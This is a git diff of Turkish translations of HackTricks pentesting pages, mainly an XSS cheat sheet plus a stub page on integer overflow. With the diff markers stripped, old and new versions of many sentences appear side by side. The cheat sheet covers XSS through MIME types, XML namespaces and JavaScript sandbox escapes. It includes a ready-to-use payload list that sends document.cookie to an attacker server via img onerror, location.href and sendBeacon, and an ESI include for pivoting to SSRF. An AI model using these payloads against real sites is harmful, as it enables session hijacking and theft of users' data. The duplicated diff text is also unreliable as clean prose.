> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
Chrome'un **yüklenen bir betiği çalıştırmasını destekleyecek tek** **İçerik Türleri**, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) adresindeki **`kSupportedJavascriptTypes`** sabiti içinde bulunanlardır.
Chrome'un **yüklenen bir betiği çalıştırmasını destekleyecek tek **İçerik Tür**ler**, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) içindeki **`kSupportedJavascriptTypes`** sabiti içinde olanlardır.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -868,7 +866,7 @@ import moment from "moment";
import { partition } from "lodash";
</script>
```
Bu davranış, bir kütüphaneyi yeniden haritalandırmak için eval'e kötüye kullanarak tetikleyebilecek XSS oluşturmak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı.
Bu davranış, bir kütüphaneyi yeniden haritalamak için kullanıldı ve XSS tetikleyebilmek için eval'i kötüye kullanmak için [**bu yazıda**](https://github.com/zwade/yaca/tree/master/solution) kullanıldı.
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik genellikle ön render işleminden kaynaklanan bazı sorunları çözmek için kullanılır. Şu şekilde çalışır:
```html
@ -888,7 +886,7 @@ Bu davranış, bir kütüphaneyi yeniden haritalandırmak için eval'e kötüye
```
### XSS için Web İçerik Türleri
([**buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Tüm tarayıcılarda XSS çalıştırabilen aşağıdaki içerik türleri:
([**buradan**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/) alıntıdır) Aşağıdaki içerik türleri tüm tarayıcılarda XSS çalıştırabilir:
* text/html
* application/xhtml+xml
@ -903,7 +901,7 @@ Diğer tarayıcılarda diğer **`Content-Types`** kullanılarak keyfi JS çalı
### xml İçerik Türü
Sayfa text/xml içerik türü döndürüyorsa bir namespace belirtmek ve keyfi JS çalıştırmak mümkündür:
Eğer sayfa bir text/xml içerik türü döndürüyorsa bir namespace belirtmek ve keyfi JS çalıştırmak mümkündür:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -915,7 +913,7 @@ Sayfa text/xml içerik türü döndürüyorsa bir namespace belirtmek ve keyfi J
Bir şeyin **`"some {{template}} data".replace("{{template}}", <user_input>)`** şeklinde kullanıldığı durumlarda, saldırgan [**özel dize değiştirme**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) kullanarak bazı korumaları atlamaya çalışabilir: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
Örneğin [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), bu, bir betiğin içindeki bir JSON dizesini **kaçırmak** ve keyfi kodu yürütmek için kullanıldı.
Örneğin [**bu yazıda**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), bu, bir betik içindeki bir JSON dizesini **kaçırmak** ve keyfi kodu yürütmek için kullanıldı.
### XSS İçin Chrome Önbelleği
@ -956,7 +954,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Eğer güvenilmeyen kodları çalıştırmadan önce **her şey tanımsız** ise (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves) olduğu gibi) keyifli nesneler oluşturmak ve keyfi güvenilmeyen kodların yürütülmesini kötüye kullanmak mümkündür:
Eğer güvenilmeyen kodları çalıştırmadan önce **her şey tanımsız** ise (örneğin [**bu yazıda**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves) olduğu gibi) keyfi güvenilmeyen kodların yürütülmesini kötüye kullanmak için "hiçbir şeyden" yararlı nesneler oluşturmak mümkündür:
* import() kullanarak
```javascript
@ -965,7 +963,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
* Dolaylı olarak `require`'a erişme
[Buna göre](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içine sarılır, şu şekilde:
[Şuna göre](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içine sarılır:
```javascript
(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -979,7 +977,7 @@ Bu nedenle, eğer o modülden **başka bir fonksiyon çağırabiliyorsak**, bu f
```
{% endcode %}
Benzer şekilde önceki örnekte olduğu gibi, **hata işleyicilerini kullanarak** modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür:
Önceki örnekte olduğu gibi, **hata işleyicilerini kullanarak** modülün **wrapper'ına** erişmek ve **`require`** fonksiyonunu almak mümkündür:
```javascript
try {
null.f()
@ -1018,7 +1016,7 @@ trigger()
```
### Obfuskasyon ve Gelişmiş Atlatma
* **Farklı obfuskasyonlar bir sayfada:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* **Aynı sayfada farklı obfuskasyonlar:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
@ -1059,7 +1057,15 @@ trigger()
[steal-info-js.md](steal-info-js.md)
{% endcontent-ref %}
### Çerezleri Alma
### Iframe Tuzak
Kullanıcıyı sayfadan çıkmadan bir iframe içinde gezinmeye zorlayın ve eylemlerini çalın (formlarda gönderilen bilgiler dahil):
{% content-ref url="../iframe-traps.md" %}
[iframe-traps.md](../iframe-traps.md)
{% endcontent-ref %}
### Çerezleri Kurtar
```javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@ -1082,7 +1088,7 @@ trigger()
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
{% hint style="info" %}
Eğer çerezde HTTPOnly bayrağı ayarlanmışsa, JavaScript'ten çerezlere erişemezsiniz. Ama şanslıysanız bunu atlatmanın [bazı yollarına buradan](../hacking-with-cookies/#httponly) ulaşabilirsiniz.
Eğer çerezde HTTPOnly bayrağı ayarlanmışsa, JavaScript'ten çerezlere erişemezsiniz. Ama burada şanslıysanız, bu korumayı atlatmanın [bazı yollarını](../hacking-with-cookies/#httponly) bulabilirsiniz.
{% endhint %}
### Sayfa İçeriğini Çalma
@ -1163,7 +1169,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Kısa süreler yanıt veren bir bağlantı noktasını gösterir_ _Daha uzun süreler yanıt olmadığını gösterir._
_Kısa süreler yanıt veren bir bağlantı noktasını gösterir_ _Daha uzun süreler yanıt alınmadığını gösterir._
Chrome'da yasaklanan bağlantı noktaları listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) inceleyin.
@ -1226,7 +1232,7 @@ document.getElementById("message").src += "&"+e.data;
[shadow-dom.md](shadow-dom.md)
{% endcontent-ref %}
### Çok Dilli Kodlar
### Poliglotlar
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
@ -1274,7 +1280,7 @@ Ayrıca şunu da kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.c
```
### Regex - Gizli İçeriğe Erişim
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) belirli değerlerin JS'ten kaybolmasına rağmen, bu değerlerin hala farklı nesnelerdeki JS özniteliklerinde bulunabileceği öğrenilebilir. Örneğin, bir REGEX girişinin değeri kaldırıldıktan sonra bile hala bulunabilir:
[**Bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) belirli değerlerin JS'den kaybolmasına rağmen, bu değerlerin hala farklı nesnelerdeki JS özniteliklerinde bulunabileceği öğrenilebilir. Örneğin, bir REGEX girişinin değeri kaldırıldıktan sonra bile hala bulunabilir:
```javascript
// Do regex with flag
flag="CTF{FLAG}"
@ -1293,11 +1299,11 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
## Diğer zayıflıkları Kullanan XSS
## Diğer zafiyetleri Kullanan XSS
### Markdown'da XSS
Markdown kodu enjekte edebilir miyiz? Belki XSS alabilirsiniz! Kontrol edin:
Markdown kodu enjekte edebilir miyim? Belki XSS alabilirsiniz! Kontrol edin:
{% content-ref url="xss-in-markdown.md" %}
[xss-in-markdown.md](xss-in-markdown.md)
@ -1305,7 +1311,7 @@ Markdown kodu enjekte edebilir miyiz? Belki XSS alabilirsiniz! Kontrol edin:
### XSS'ten SSRF'e
**Önbellek kullanan bir site** üzerinde XSS mi buldunuz? Bu payload ile Edge Side Include Injection aracılığıyla **SSRF'ye yükseltmeyi deneyin**:
**Önbellek kullanan bir site** üzerinde XSS mi var? Bu yük ile Edge Side Include Injection aracılığıyla **SSRF'ye yükseltmeyi deneyin:**
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1314,14 +1320,14 @@ Bu teknik hakkında daha fazla bilgi için buraya bakabilirsiniz: [**XSLT**](../
### Dinamik oluşturulan PDF içinde XSS
Bir web sayfası, kullanıcı tarafından kontrol edilen giriş kullanarak bir PDF oluşturuyorsa, PDF oluşturan **botu kandırmayı** deneyebilir ve **keyfi JS kodunu yürütmesini sağlayabilirsiniz**.\
Bu nedenle, eğer **PDF oluşturan bot**, bir tür **HTML** **etiketi bulursa**, onları **yorumlayacak** ve bu davranışı **kötüye kullanarak** bir **Sunucu XSS** oluşturabilirsiniz.
Bir web sayfası, kullanıcı tarafından kontrol edilen girişleri kullanarak bir PDF oluşturuyorsa, **PDF oluşturan botu kandırmayı** deneyebilir ve **keyfi JS kodunu yürütmesini sağlayabilirsiniz**.\
Yani, eğer **PDF oluşturan bot**, bir tür **HTML etiketi bulursa**, onları **yorumlayacak** ve bu davranışı **istismar ederek** bir **Sunucu XSS** oluşturabilirsiniz.
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
Eğer HTML etiketleri enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemeye değebilir:
Eğer HTML etiketleri enjekte edemiyorsanız, **PDF verilerini enjekte etmeyi denemek** faydalı olabilir:
{% content-ref url="pdf-injection.md" %}
[pdf-injection.md](pdf-injection.md)
@ -1387,7 +1393,7 @@ id="foo"/>
```
**Daha fazla SVG yüklemelerini** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinde bulabilirsiniz.
## Çeşitli JS Hileleri ve İlgili Bilgiler
## Diğer JS Hileleri ve İlgili Bilgiler
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
@ -1401,7 +1407,7 @@ id="foo"/>
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı şekilde Lehçe yazılı ve konuşma gereklidir_).
@ -1409,14 +1415,14 @@ Eğer **hacking kariyeri**ne ilgi duyuyorsanız ve hacklenemez olanı hacklemek
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -0,0 +1,31 @@
# Tamsayı Taşması
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking numaralarınızı göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
</details>
Kontrol edin:
{% content-ref url="../../binary-exploitation/integer-overflow.md" %}
[integer-overflow.md](../../binary-exploitation/integer-overflow.md)
{% endcontent-ref %}
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking numaralarınızı göndererek PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**.
</details>